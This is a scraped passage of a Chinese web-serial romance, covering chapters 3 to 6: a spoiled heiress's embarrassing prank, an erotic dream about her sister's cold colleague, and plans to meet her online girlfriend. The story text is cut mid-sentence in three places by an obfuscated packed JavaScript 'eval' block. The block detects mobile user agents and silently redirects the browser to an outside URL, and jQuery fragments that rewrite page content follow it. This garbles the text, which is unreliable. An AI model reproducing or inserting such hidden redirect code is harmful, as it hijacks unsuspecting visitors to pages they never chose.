时千金从冰箱拿出一瓶酸奶,一盘洗好的阳光玫瑰端到时千岁面前,瞥她一眼,“我看你像香辣蟹、小龙虾。”
别说,还真挺像……时千金又仔细端详她一眼,上手摸向她额头,“也不烫啊,”怎么洗个澡还给自己洗红温了?
时千金幽幽问,“你是不是偷吃辣条了?”
时千岁捏起葡萄的手顿在空中,急道,“我没有!”
“那?”时千金凑近她,眯了眯眼,“难不成偷情去了?”
和女朋友视频洗澡算偷情吗?时千岁还是有点心虚的,她躲开了时千金的视线,“怎…怎么可能?”又往旁边摸,摸到手机,指了指,“我回条消息啊。”
时千金往她身边一坐,表情严肃,“你知不知道,你从小就不会撒谎?”
“你跟我说实话,你是不是...”
时千岁猛一拍大腿,眼睛直勾勾地盯着屏幕,快要喷出火来。
时千金注意力被吸引,疑道,“怎么了?谁又惹你了?我的小祖宗。”
时千岁咬牙,“还不是秦梦乐!”
一分钟前。
秦梦乐在群里@她。
【听说你去我家酒店了?还招来了警察,哎呀你跟我打声招呼多好,也不至于闹出这种笑话。(图片)(图片)】
一张是她抱着那女人的照片,整个脸紧紧地埋在那女人的胸口位置,另一张是她被警察带走的照片。
底下纷纷打趣。
【千岁姐怎么回事?】
【一回来就玩这么大?】
【千岁姐,缺女人了?给你介绍两?不用客气。】
...
消息排起了长龙。
这下真成笑话了!
颜面无存,这还叫她怎么混!
时千岁捂着脸,愤愤道,“这群人真闲!”
时千金抬起眼,阴阳怪气地“啧”了一声。
“爸妈不让你跟她们玩是对的吧,这群纨绔整天不务正业,跟她们玩一点好学不着。”
“还有那个秦家女儿胆子也太大了,谁允许她公开你照片的?”虽然时千金知道这群人顶多也就只是在圈子里打趣,不会外传,但还是气不打一处来,她语气一冷,“看来明天有必要去秦家一趟,顺便提醒一下老两口好好管教一下这个无法无天的小女儿。”
“姐姐,”时千岁熄灭了手机屏幕,侧过头幽幽道,“还不是怪你,还有那个女人!”
时千金:“.....”
时千岁眼珠一转,显然在心里酝酿着什么事情。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084755|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>时千金看这架势,悄悄起身,踮起脚尖准备开溜。
便听身后传来一句,软软的,充满了谄媚的声音。
“亲爱的姐姐。”
时千金耳根一软,脚步像是扎根在了原地,动也不能动。
时千岁伸手,“姐姐,爆点金币吧。”
“今这事,没五百万我就不原谅你。”
时千金松了口气,原来是要钱,还以为憋着什么坏呢。
等等。
她回头,不可思议道,“你没钱了?”
时千岁理直气壮地点点头,“对!”
“不是,祖宗,一个学期不到两百万就那么没了?”时千金诧异,“你也没买车也没买房啊,怎么花的?”她突然想到时千岁到家后种种异常举动,越发笃定心里的猜测。
她重新坐回时千岁身边,满脸严肃,问,“你是不是处对象了?”
“谁、谁处对象了..”时千岁心虚地把脸扭过去,眼神四处乱飘。
“时千岁,你跟我说实话!”她妹妹这么单纯,别被人骗了,时千金无不担忧地想。
“秘...秘密,”时千岁端起眼前的水果,起身往卧室逃,“姐,我有点头晕,我先上去了。”
“那个,饭等下让刘婶给我端上去。”
“对了,记得钱。”
“你跟我都有秘密了?”时千金指着她背影,“爸妈就快回来了,我看你还能作到什么时候!”
...
时千岁喝了几口粥,又躺回到了床上。
因为药物反应,她又有点犯困。
意识模糊之际,她突然想起女朋友。
强忍着睡意,打字。
【晚安,不要喝醉哦,记得梦到我。】
时千岁突然记起那张照片,她手指向上滑动翻找聊天记录。
找到那张美人出浴图,又放大看了好几遍,把细节刻进了脑子里。
再长按保存。
这才心满意足地合上了眼睛,沉沉睡去。
不知多久,时千岁做了一个梦。
准确来讲,是一个春梦。
黏腻而又真实的春梦。
浴池灯光氤氲,雾气缭缭。
连空气都是湿漉漉的。
彼此相拥的两个人,唇舌相抵,动情地激吻着,难以抑制的低吟从口舌之中倾泻而出。
“要是站不住就抓紧我。”
说完,便把她抵在了半身镜前。
滚烫的唇落在耳后。
又顺势绵延而下。
每到一处便激起一阵来自灵魂的颤栗。
她腿根發軟。
使不上一点力气,任由身体软绵绵地向下滑。
身后一条手臂紧紧地禁锢住她。
耳畔传来沾染着情欲的冷感嗓音。
“这就不行了?我们才刚刚开始。”
她輕喘著,話語中帶了一絲哽咽。
“老師...”
“嗯?”
一只手擒住了她的下巴,逼迫她看向镜子。
“现在求饶,晚了。”
镜子上氤氲着一层白雾,时千岁只能朦胧地看到紧紧纠缠的两个人影。
好奇心战胜羞意。
她睁大眼努力地向里张望。
想看看自己现在的表情究竟有多□□。
更想看看那在背后掌控她的人的容貌。
拨开重重迷雾。
画面逐渐清晰。
一张冷感十足的脸浮现在了镜子里。
怎么会是下午那个冰坨子!
时千岁惊呼一声,从梦中乍醒。
清晨的阳光从窗帘缝隙中透进来,洒落在卧室的床上,时千岁无神地盯着天花板,胸口剧烈地起伏着,显然还没有从刚才的“噩梦”中回过神。
从楼下传上来的门铃声。
无休无止。
逐渐在她脑海中放大、盘旋。
时千岁恍恍惚惚下床,光着脚就往楼下大门走。
“叮咚。”急促的门铃声再度响起。
时千岁终于走到门前,站定,缓缓抬起手,打开了门。
一个气质冷冽的漂亮女人出现在门后。
很熟悉。
熟悉到刚刚还在梦里你侬我侬共赴一番云雨。
时千岁:“!!!!!”
4. 第 4 章
画面历历在目。
时千岁下意识大喊一声,“冰坨子!”
上前一步,径直甩上了门。
她惊魂甫定地拍打着脸,驱散脸上那股升腾而出的热意。
嘴里还振振有辞。
“假的。”
“一定是梦中梦!”
时千岁深吸一口气,闭上眼,企图打碎这自以为虚假的梦境。
五秒钟后,再度睁开。
屏气,开门。
四目相对,空气似乎都安静了。
时千岁底气不足似的率先移开目光,不经意间又看到眼前人垂在身侧的手。
那修长白皙的手,和梦中的别无二致。
上一分钟还在尽情地操控着自己。
想到这,时千岁耳尖蓦地发烫,刚刚消散的热意再次席卷全身。
再这样下去,恐怕要丢人了。
时千岁忽地抬起眸子,咄咄逼人,“你来我家干什么?来给我道歉?我不接受,你走吧。”说完极快地带上了门,根本不给对面回答的机会。
时千岁后背紧紧地抵着大门,大口呼吸,平复着这一大早如同过山车一般的情绪。
时千金从书房出来了,正好看见她这一副紧张兮兮的模样,深深地打量她一眼,“大早晨的见鬼了?”
时千岁心道,何止啊,比鬼都可怕。
“对了,你听没听到门铃响?”时千金绕到厨房,倒了一杯凉白开端到她手边,见她发愣,把杯子塞进她手心,“发什么呆呢你,看你那黑眼圈,跟被吸干阳气似的,干什么了?做春梦了?”
时千岁猛地回神,头摇得如同拨浪鼓,“没、没有!”
“没什么事,我先上回卧室了,”时千岁觉得现在有必要去洗个澡冲冲身上这久散不去的燥热,以及异常的黏腻感。
刚一抬脚。
门铃声便再度响起。
她暗道一声,“糟糕。”
再想跑时,时千金已经越过了她把门打开了。
时千岁背对着两人,竖起耳朵,慢慢移动脚步。
“来了?”
“嗯。”
好没营养的对话,时千岁正吐槽着,忽然听到时千金唤了她一声。
“千岁。”
时千岁:“???”
没事叫她干什么..
她不情不愿转过头,幽怨道,“干吗?”
时千金向她招了招手,“过来跟客人打个招呼。”
这个时千金,不知道她和那人不合吗?时千岁咬着后槽牙,内心挣扎了几秒,自身的教养占据了上风。
她闷闷道,“你好。”
时千金轻轻拍她一下,“叫言浠姐。”
时千岁瞪了眼前女人一眼,别扭道,“言浠...姐。” 最后一个字轻飘飘的,几不可闻。
言浠微微点头,脸上没有任何表情。
这种姿态落在时千岁眼里就显得很高傲。
得意个什么?哼,时千岁落在身侧的手紧紧地握成拳,凶巴巴地瞪她,那眼神都快淬出火来了。
言浠上前一步,用只能两个人听见的声音说,“冰坨子是你给我起的外号?”
突然拉近的距离,让时千岁的脑海里瞬间蹦出了那个离谱的梦,甚至就连语调中那自然而然流露出的压迫感都如出一辙。
她的气焰顷刻间消失得无影无踪。
尴尬地僵在了原地。
死嘴,快说点什么!
时千岁在心里恨铁不成钢地扇了自己一下。
言浠拧眉注视着她耳尖徒然升起一抹红,片刻,微微起身,回到原位,解释来由。
“我来找你姐。”
时千岁怔愣一瞬:“???”
言浠继续:“跟你没关系。”
意思很明显,不是道歉来的。
时千岁根本没反应过来她的话外音,忽地抬起发亮的眼睛,视线在她姐和言浠中间来回穿梭。
打量了一会儿,“噢”了一声,笃定道,“我就知道你俩有一腿。”
言浠显眼被眼前这小家伙的脑回路惊到了,波澜不惊的眼底涌现出略微复杂的情绪。
时千金冲她屁股就是一巴掌,轰她上楼,“边玩去。”
“我们要忙工作了。”
“切,”时千岁巴不得赶紧开溜,她摆摆手,头也不回地往楼上走。
回到卧室,她从衣柜里挑了件崭新的睡裙,便一头钻进浴室。
热水簌簌流下。
时千岁褪下睡衣,手摸到内裤时,突然感受到了一丝异常。
她不确定似的继续探了探,直到指尖带出一条晶莹细线。
她脸一红,极快的扒下弄脏的内裤,扔进了水池里。
眼一闭,站到了花洒下。
热水打湿了长发,滑过她柔美的脸庞,落到胸前,顺着高峰绵延而下流淌过雪白的小腿在脚边汇聚成一个小水洼。
时千岁心情久久不能平复。
除了纠结那个春梦和因此产生的生理反应。
还因此想到了更深的一个层面。
她这算不算对她女朋友不忠?算不算精神意义上的...出轨?
时千岁的心情有生以来第一次这么沉重。
....
这边,书房里。
言浠有条不紊的汇报完工作,端起身侧的水杯抿了一口水润了润喉咙。
时千金一言不发地翻动着文件,表情严谨。
良久,抬起头,神情缓和不少。
“报告很详细,辛苦了。”
言浠只是礼貌地点点头。
“过两天总部公告出来后,北城那边公司就由你负责,恭喜啊,升职了。”
“还有,薪资方面...”
原本沉默的言浠突然开口。
“时总。”
“我不接受涨薪。”
时千金跟言浠算不上熟稔,她近两年才彻底接手来运集团,对各地区的员工不可能了解得面面俱到,关于言浠的这个人的风评和事迹大多数是她从父母口中得知的。
性子冷,不喜交际,生活重心几乎全部放在工作上。
做事沉稳、一丝不苟,凡是她经手的事情,从来没出现过纰漏。
硕士毕业后进入来运集团实习,主动提出任职期间只接受基础薪资,起初时千金父母以为这只是句玩笑话,没承想这一句话她一坚持就是五六年。
时千金垂眸沉思片刻,还是决定劝劝她,“没必要,爸妈决定培养你,不是想让你通过这种方式馈还的,你从进入公司开始,到现在的位置,都是靠你自己一步步努力得来的,涨薪是应得的。”
言浠拒绝得很果断,像是早就经过了深思熟虑,“时总,这是我的决定。”
“好吧,”时千金觉得多说无益,对面是个很有原则的人。“那,这次来临海多呆几天?爸妈快回来了。”
时千金父母也算看着她长大的,而言浠来时家拜访还是有史以来第一次。
还是因为工作原因。
时千金深深注视着她,补了句,“爸妈很想见你。”
言浠起身颔首,“这次还有别的事情要办,下次再专门来拜访。”
字里行间都是客套。
时千金觉得言浠这人说难听点叫不近人情,像是个没有丝毫感情的机器人。
这种人,难以交心。
时千金抬了抬鼻梁上的眼镜,恢复了工作中的气场和距离感,起身开门,“那今天就先聊到这里吧,时间不早了,后续工作有什么问题,及时沟通。”
是送客的意思。
言浠理解了微微颔首,跟着离开书房。
...
两人来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084756|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到客厅,正好撞上了在沙发角落偷吃辣条的时千岁。
时千岁心虚地笑了声,抓着辣条的双手背到了身后,目光瞥到她姐身后的言浠,惊道,“你怎么还没走呢?”
大意了,这个大春,谎报军情!
时千岁把辣条往茶几抽屉里一放,用她自己最快的速度一点一点挪到沙发最内头,跟她保持距离。
惹不起,她还躲不起?
一个梦而已,顶多就是昨天的记忆太深刻了,绝对算不上什么,也算不上出轨!
时千金哪壶不开提哪壶,“洗个澡怎么还把衣服换了?”
时千岁:“.....”
死去的记忆卷土重来。
“脸怎么这么红?”
时千岁狠狠瞪一眼言浠,咬牙道,“发烧!”
时千金上前用手心探了探她额头,“还真有点。”
“等下让医生过来再打一针。”
打针?时千岁顾不得外人在场,急道,“我不要!”
“打针和吃药你自己选一个。”
时千金又警告她,“你别给我作,爸妈过两天就回来了,你要是不想一个暑假出不去门,就趁她们回来前老老实实把病养好。”
时千岁想象了下那个悲惨的画面,最终决定听取姐姐的意见。
她举手,“我选吃药。”眼一闭一睁,一口气的事,怎么也比皮肉真实的疼痛感来得好。
时千金去厨房给她热药。
时千岁看着客厅中伫立不动的人,纳闷道,“你怎么不走啊你。”
“不许这么没礼貌。”
时千岁看了眼厨房忙碌的人,小声嘀咕,“耳朵还真尖。”
厨房里又道,“言浠,你随意。”
这本也是句客套话,但这次言浠像是没听懂似的,绕过了沙发,径直坐到了时千岁的正对面。
时千岁:“???”
四目相对间,静默无言。
时千岁从那双漆黑的眼睛里看出了些许玩味。
懂了。
来看热闹来的。
时千金从厨房端药出来,把袋子剪了个小口,递给时千岁,“喝吧,趁热。”
浓郁的药材味侵入鼻端,勾起了记忆深处的苦涩,胃生理性的一阵抽搐,她偏过头,控制不住地干呕。
时千金满眼心疼地坐到她身侧,轻轻拍打后背,语气温柔、宠溺,跟工作中雷厉风行的时总简直判若两人。
“乖,喝完姐带你去吃麻辣小龙虾。”
时千岁眼眶发红,声音沙哑,“你哄小孩呢?”
时千金打趣,“你不就是小孩?”
时千岁突然想起对面还坐着个大活人呢,急忙挥手打断,“姐!”留点面子!
她目光一转,瞪着言浠。
十分硬气地“哼”了一声。
言浠:“.....”
像只被欺负急了想咬人的小白兔,怪挺有趣的。
她好笑地想。
然而,言浠嘴角徒然升起的那一抹意味不明的弧度,落在时千岁眼里,显然更像是嘲讽。
时千岁气急了。
心道,梦里被欺负也就算了,怎么梦外还能一而再落于下风?
她不要面子的吗?
时千岁挺直了脊背,抢过时千金手中的药,深吸一口气仰头一灌。
霎时间,浓烈的苦味在口腔里炸开,时千岁被这味道刺激的接连呛咳,她拼命压制着,生理性的眼泪还是不争气地夺眶而出。
视线朦胧中,她看到言浠起身向她走来。
时千岁本能的偏过了头,不想让她看到自己这副狼狈的样子。
下一秒。
微凉的手轻轻擒住了她的下巴,指尖灵巧的抿开了她的唇瓣。
一颗糖果被强行送入了口中。
是葡萄味的。
5. 第 5 章
感受到唇瓣上的微凉柔软的触感,时千岁一僵,浑身血液仿佛都要凝滞住了。
甚至都忘了躲开她的触碰。
唇瓣被轻柔地抿开。
舌尖抵上了一个散发着丝丝甜意的圆形物体。
她试探性地舔了舔,葡萄香甜霎时间席卷了她整个味蕾,有条不紊地中和着那令人作呕的苦涩。
言浠看她脸色微缓,不动声色地收回了手,一个转身,坐回到了沙发上。
时千岁弯着腰又平复了几秒,余光瞥了眼对面女人,彻底熄了火,缩到了沙发的角落。
她想。
这女人昨天下午还差点给她送进警察局。
晚上又无端端地闯进梦中“欺负”她。
害她内心煎熬,良心谴责,还要接受自己内心对女朋友是否忠诚的道德批判。
但刚刚那个行为,她不管是出于礼貌,还是真心实意,都应该道一声“谢谢”。
可这句“谢谢”说出口,又是不是代表着跟这女人的恩怨一笔勾销?
进退两难。
时千岁决定缩起来当只鹌鹑。
客厅突然陷入了令人尴尬的沉默。
时千金不知道时千岁脑中的百转千回,只知道一向吃完药大闹特闹的妹妹出奇地安静了,甚至有点乖巧。
她在心里给言浠比了个大拇指。
“那什么,”时千金素来不习惯冷场,她捅了下时千岁,提议道,“你言浠姐在北城公司上班,跟你大学一个地方,要不你俩加个微信?”她其实是有点私心的,她这个妹妹被宠坏了,有的时候太肆无忌惮,要是言浠能稍微帮忙盯一下,说不定还真能收敛一点,而且就刚刚这个事情,她觉得自己对于言浠这个人“没有感情”的判断好像有点太武断了,起码这人对她妹妹就不一般。
时千岁身体行动快于脑子。
反应过来时,二维码已经递出去了,再想收回有点下不来台。
时千岁极其幽怨地瞪了一眼她姐。
心道,可真能添乱。
又装作无所谓地把手机往前递了递。
言浠抬眼,看清了屏幕上的头像,一向平静的瞳孔里荡开了层层波澜。
“喂。”
时千岁不耐烦。
言浠恍惚,目光紧紧描绘着她,从头到脚。
像是难以置信,亦或者夹杂着什么其他难以言说的情绪。
时千岁有些分辨不明。
所以还加不加了?
言浠忽而垂眸,掩去了所有情绪,掌心收紧,把手机揣回了兜里。
很明显,时千岁读懂了她行为上的拒绝。
她“呵”了一声,指尖一转收回了手机,径直转身,往二楼走。
差点被区区一颗糖收买。
活该。
热脸贴了冷屁股吧。
时千岁懊恼。
卧室门一甩,隔绝了楼下一切恼人的声音,她坐到床上冷静了片刻,打开手机疯狂吐槽。
【老师!】
【不开心,需要你温柔的关怀,快来哄哄我。】
时千岁发送完消息,便把手机放到了床头柜充电。
起身拉开窗帘,窗外碧空如洗,温和的阳光穿过大飘窗撞入卧室,暖洋洋的,倒是个码字的好天气。
时千岁除了是电影学院戏剧与影视专业的一名学生之外还有另一身份,口口文学城的新人作者。
目前的签约作品《跟姐处,姐有点小钱》正在连载中。
这本书一经上架便包揽了各大榜单,直冲金榜第一,成了名副其实的黑马。
风格搞笑、剧情抓马、人设张力十足,唯一不好的点就是更新频率问题了。
断更是常态。
这不,距离上次更新已经过去一星期了。
时千岁都能想象得到微博和评论区多少读者花式催更了。
她长叹一口气,无比头疼。
时千岁决定写文的起因,仅仅是源于她在评论区发表意见时遭遇该作者粉丝冲击,对方说了一句话,“笔给你,你来。”
时千岁上头,冲动之下开了这本文。
虽然顺利签约,成绩也不错,但她总是觉得被更新频率限制了自由,弃坑吧,是绝对不可能的,要对读者负责,更要对笔下的人物负责,一定要给自己创造的人物一个圆满的结局,绝不敷衍,这是她的态度和执念。
时千岁慢慢悠悠拿了瓶酸奶坐到了榻榻米上,支开了笔记本电脑。
趁着开机间隙,时千岁把头转向窗外。
就看见,言浠正好走出别墅大门。
时千岁:“.....”
怎么又看见她了,真是阴魂不散。
言浠突然停下了脚步,从包里掏出手机,低头查看。
细白指尖在屏幕上删删打打,落在斑驳树影中的侧脸,神色晦暗不明。
也不知道在给谁发消息,这么犹豫,时千岁心道。
目光不自觉地注视着她的一举一动。
这时,言浠暗灭了屏幕,竟转过头往二楼看了过来,一瞬间,四目相对。
时千岁一惊,飞快地收回了视线,身子往后一靠,紧张的姿态像极了被抓包正着的小偷。
眼尾余光看言浠开车离去,她这才松了一口气。
后知后觉,时千岁懊恼地拍了一下茶几。
怎么一见这女人就露怯呢?
真怂!
...
时千岁在心里把自己痛骂了十分钟,这才调整好了心态。
她先打开了微博页面,准备安慰一下等待已久的读者朋友们。
刚一上线,就“嘀嘀嘀”个不停。
评论和私信消息提醒999+。
她没有查看消息的习惯,随手就点击了清除。
时千岁账号id,起得很骚气,“发大水啦,”这号建立四五年了,积攒了大几十万活跃粉丝,有一定的知名度。
以前专门用来分享好书或吐槽、排雷文章的。转为作者号后,涉及立场问题,现在就只推自己的文章,偶尔分享下生活。
关于粉丝积累到这个数值,还有一个最主要的原因。
她是口口文学城赫赫有名的小富婆。
只要是她喜欢的文章,必定一掷千金,疯狂砸雷,长期霸榜贡献榜榜首。
像她断更这么久的作者,一般的早就被骂得体无完肤乱了。
什么希望作者穿书。
写不来就趁早解v啊。
更有难听点断更亖全家。
但时千岁这,岁月静好,不但没人吐槽,还都得哄着。
因为粉丝们都了解时千岁的习惯。
——真金白银的补偿。
时千岁充了个五万。
开了个粉丝抽奖。
随手拍了张外景配图,窗台上跳跃的阳光,飘动入镜的淡蓝色薄纱窗帘,院子里开得正盛的栀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084757|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子花以及那高墙外湛蓝如水的天空。
配字:【在写了...不会让我的宝贝们失望的,(害羞.jpg)。”
发完,时千岁打开了码字软件。
仔细捋了下大纲,着手往下写。
一分钟过去了。
文档上空空如也。
时千岁揉揉脖子,伸了个懒腰,继续盯向电脑屏幕。
没一会儿,眼睛有点干涩,她偏头望向窗外,眺望着院子里那棵枝叶繁茂的树,注意力没一会儿就被新搬来筑巢的鸟儿吸引。
二十分钟后。
文档上只码了两个字。
就是...主角的名字。
时千岁垂眸,屈起指节轻轻地敲了敲额头,心中感叹。
写文可真难。
这么枯燥的工作,到底是哪个大神能扛得住诱惑,耐得住寂寞?
反正她时千岁不能。
她给自己找了个理由,生病状态不好,随后心安理得地合上了电脑。
时千岁把自己往柔软的大床上一抛,舒服地滚了一圈,伸手摸到床头柜上的手机。
滑开屏幕,点开跟女朋友的聊天框,查看消息。
没有任何回复。
怎么回事?
时千岁不禁纳闷。
她敲击屏幕。
【老师?】
又等了半个点,时千岁坐不住了。
两人毕竟是网恋,隔着屏幕,不能肌肤相触,也不能在对方需要的时候陪伴身侧,万一激情褪去心生厌烦,万一现实中遇到很优秀的追求者...又或是万一哪天酒精作祟与漂亮妹妹一夜春风...
时千岁虽然相信女朋友的人品,但还是忍不住地胡思乱想。
她内心被不安占据。
【老师不理我,是对我感到厌烦了吗?】
【昨天还宝宝长宝宝短,今天就如此冷淡。】
【狗也是会伤心的!】
【还是...】
【说吧,她是谁?哪里人多大了怎么认识的?】
【我这个身高170体重95,幽默风趣热情黏人,不冷暴力嘴甜会哄人的乖巧漂亮又多金的大小姐到底输在了哪里?】
对面终于回复了,秒回。
简洁明了且震惊。
【?????】
啧,女朋友怎么不懂她的抽象呢?
时千岁翻身下床,又坐回到榻榻米上晒太阳,她拿起酸奶抿着,单手打字,一不小心触碰到了视频通话。
“嘀”的一声,她刚想挂掉,屏幕中便闯入了一个画面。
一只手慌乱地伸了出来。
画面瞬间消失。
前后不过两秒钟。
但时千岁还是成功捕捉到了关键信息。
如果她没看错的话,刚刚闪过的应该是临海市的标志性建筑。
时千岁激动地坐直了身子,双手紧握手机,眼睛一眨不眨地盯着屏幕。
【老师!】
【你是在临海出差???】
聊天框上方显示正在输入又删除,来回几次,终于发送过来了一个字。
【是。】
时千岁抽出张纸巾擦了擦手心里的汗,紧张地想。
在一个城市,那是不是代表着可以奔现了?
这是叫奔现吧?
时千岁喜上眉梢,身子一歪,扭成了麻花。
【老师!我们见面吧!!!】
6. 第 6 章
对面久未回复。
时千岁趿上拖鞋,焦急地在房间踱步。
转了三圈,等不住了,时千岁追问。
【好不好嘛?】
【给个姬会?】
对面抛过来三个字。
【你确定?】
当然,见面是感情升温最快方式,而且,脑子里有了画面不至于做春梦梦到其他不相干人士。
时千岁毫不犹豫。
【确定!】
【行。】
“耶!”时千岁开心地转了个圈,抓着手机小跑下楼。
“姐姐姐姐姐!”
时千金跟电话那头的人礼貌地说了声“有时间去拜访”便挂了电话,转头看向时千岁,诧道,“怎么了,这么开心?刚不还一副苦大仇深的模样吗?”
“还不是要去约...”会..看见时千金骤然皱起的眉头,时千岁舌头转了个弯,及时地刹住了车。
糟糕,一个不小心差点秃噜瓢。
时千岁强行压住嘴角,稳住脚步,十分乖巧地坐到了时千金身旁,“没什么,”她话锋一转,转移话题,“谁的电话啊?”
“秦梦乐他爹,道歉来的,”时千金手背贴到了她额头上,试温度,“退烧了?”
时千岁点点头。
“对了,刚才你说约什么?”
时千岁刚喝了口水,差点被呛出来,“我是说..”她灵机一动,“约小姐妹shopping。”
“哦,”时千金从桌子上抽出纸巾递给她,“不是约小黄毛就行。”
时千岁微笑,“我是那么没品的人吗?”
说着,她凑近时千金,语气软得不能再软,“亲爱的姐姐,我真的要去购物。”她比了个数钱的手势。
听到妹妹撒娇,时千金心都要化了,她从兜里掏出张卡递了过去,“钱早就给你准备好了,不够了再跟我说。”
“还有啊,我叫助理定了香辣蟹和小龙虾,等会送过来。”
“谢谢姐姐,爱你,”时千岁凑到她脸颊,准备亲一口,被时千金抬手挡住。
“别来这套,你能不作妖我就谢天谢地了。”
“怎么说话呢?”时千岁细白的手指灵巧地把玩着银行卡,“天天损我,亏我还给你带礼物了。”
时千金内心期待。
时千岁悠悠起身,往卧室走,“还有爸妈的,大春也有。”
几分钟后,她抱着两个包装精美的盒子下楼,其中一个递给了时千金,“我记得你不是提过一嘴开会时间太长腰不舒服吗?我给你准备了一个护腰和按摩仪。”
别看她这个妹妹平时骄纵惯了,但真的是个很细腻暖心的人,会在每个节日给家人准备礼物,也会记得家人说过的每件小事,时千金被她的举动感动到了。
“还有啊,里边还有盒肌肉贴,缓解腱鞘炎的,”时千岁吐槽,“姐,叫你不注意节制。”
“现在好了,找不到女人了吧。”
时千金心一梗,身侧的手紧握成拳,指节发出清脆声响。
“我可真谢谢你啊!”
时千岁笑,“不客气。”
“对了,大春呢?”时千岁纳闷,好像从回来就没见她。
时千金还没从那句“找不到女人”中缓和过来,她黑着脸,向身后一指,“房间里躲着呢。”
“躲谁?”
门铃声响起,时千金起身开门。
是送餐的助理。
时千金从助理手中接过定好的餐食,放到餐桌上,路过时千岁身边,把她往餐桌方向一推,手一勾,顺走了她怀中的礼物,转身大步流星往大春房间走。
“我去叫她。”
时千岁:“???”
怎么还抢活?
她总觉得哪里有些奇怪,但又说不上来。
...
大春的房间在别墅一层的最里边,两人卧室紧挨着。
时千金站在门前,垂眸望向手中礼盒,眸光幽深,像是在思考些什么,片刻,抬了抬鼻梁上的眼镜,嘴角牵起一抹意味深长的笑。
“叩叩叩。”
里边传来桌椅碰撞声。
大春警觉的声音随后出现。
“谁?”
时千金清了清嗓:“我。”
门内突然没了声音。
等了几秒,里边的人仍没有任何举动,时千金开口说明来意,“千岁给准备了礼物。”
大春低沉的声音出现了一丝裂痕,“放..放门口。”
这么紧张?时千金好笑地想。
她忽而神色一凛,一字一顿道,“开门!”语气强势,带着满满的威压,“我数到三。”
“一”字尾音还在空中飘着。
门内便响起一阵慌乱的脚步声。
“咯吱。”
门开了。
里边的大高个看她一眼,局促地移开视线,闪进了门内。
时千金跟在她身后进来,顺手关上了门。
听到关门声,大春肩膀抖了抖,整个人都僵住了。
时千金绕到她眼前,抬头望着她,没什么表情,声音却冷了许多“这么怕我?”
大春薄唇翕动,半天没吐出一个字。
时千金更进一步,浑身散发着凌厉的气势,“你躲我?”
距离的贴近,独属于时千金身上的味道顷刻间席卷了鼻端,像夏日奔放盛开的鲜花一般浓烈,迷人又危险,无意识的勾弄着她的心跳,大春窘促地别开了头。
“没..没有,千金姐。”
时千金静静看她两秒,“嗯”了一声,选择了不戳破。
“千岁送你的礼物,不打开看看?”
“好,”大春动作缓慢地接过礼物,拆开包装。
盒子打开,大春隽秀的眉眼慢慢染上喜色,“Grant的拳套?”
拳套中的劳斯莱斯。
“太贵重了...”
“这是千岁的心意,收着吧,”大春这孩子从小就比别人稳重、内敛,难得看见她对什么事情表现出如此强烈的兴趣,时千金问,“比赛准备得怎么样了?”
十月份的全国格斗锦标赛,也是大春即将迈入职业生涯的第一场正式比赛。
大春诧异,“你怎么知道?”
“姐姐关心妹妹不是很正常?”时千金笑。
大春始终低着头不敢看时千金,“教练建议我减重,打羽量级的把握会更大一点。”
“行,有时间我会去现场给你加油的,”时千金打量着大春身上常年如一日的一身黑,很衬身材,但实在不符合这个年龄段该有的色彩,太过于沉闷了,于是提议,“和千岁一起买几身衣服去吧,姐姐买单。”
“不,不用,”大春拒绝得很果断,“我有钱。”
“我现在在拳击馆兼职。”
真是长大了,也懂事了,时千金柔和的目光一遍又一遍地描绘着大春劲挺有型的身材,最后停留在她五官深邃,英气十足的脸上。
熟了,就可以吃了。
所以到底是什么时候对这个小自己十一岁的妹妹有了不一样的感情呢?
时千金记忆回溯到一年前。
对家公司竞标失败,资金链断链导致破产,从众人追捧一朝跌落成了丧家之犬该公司控股人难以接受这等落差,心生极端,展开报复行为。
失控的轿车直挺挺地冲向她,带着刺耳的风声和死亡的气息。
强烈的恐惧感涌上心头,时千金身体根本做不出任何反应,由着那汽车逐渐在眼底放大。
千钧一发之际,大春从背后环住了她,侧身一倒,车头紧擦着两人身体飞过。
大春把她紧紧护住,用肉身抵挡地面的冲击。
愣是让她连一根头发都没掉。
在那个温暖结实的怀抱里,她心跳如雷。
“千金姐?
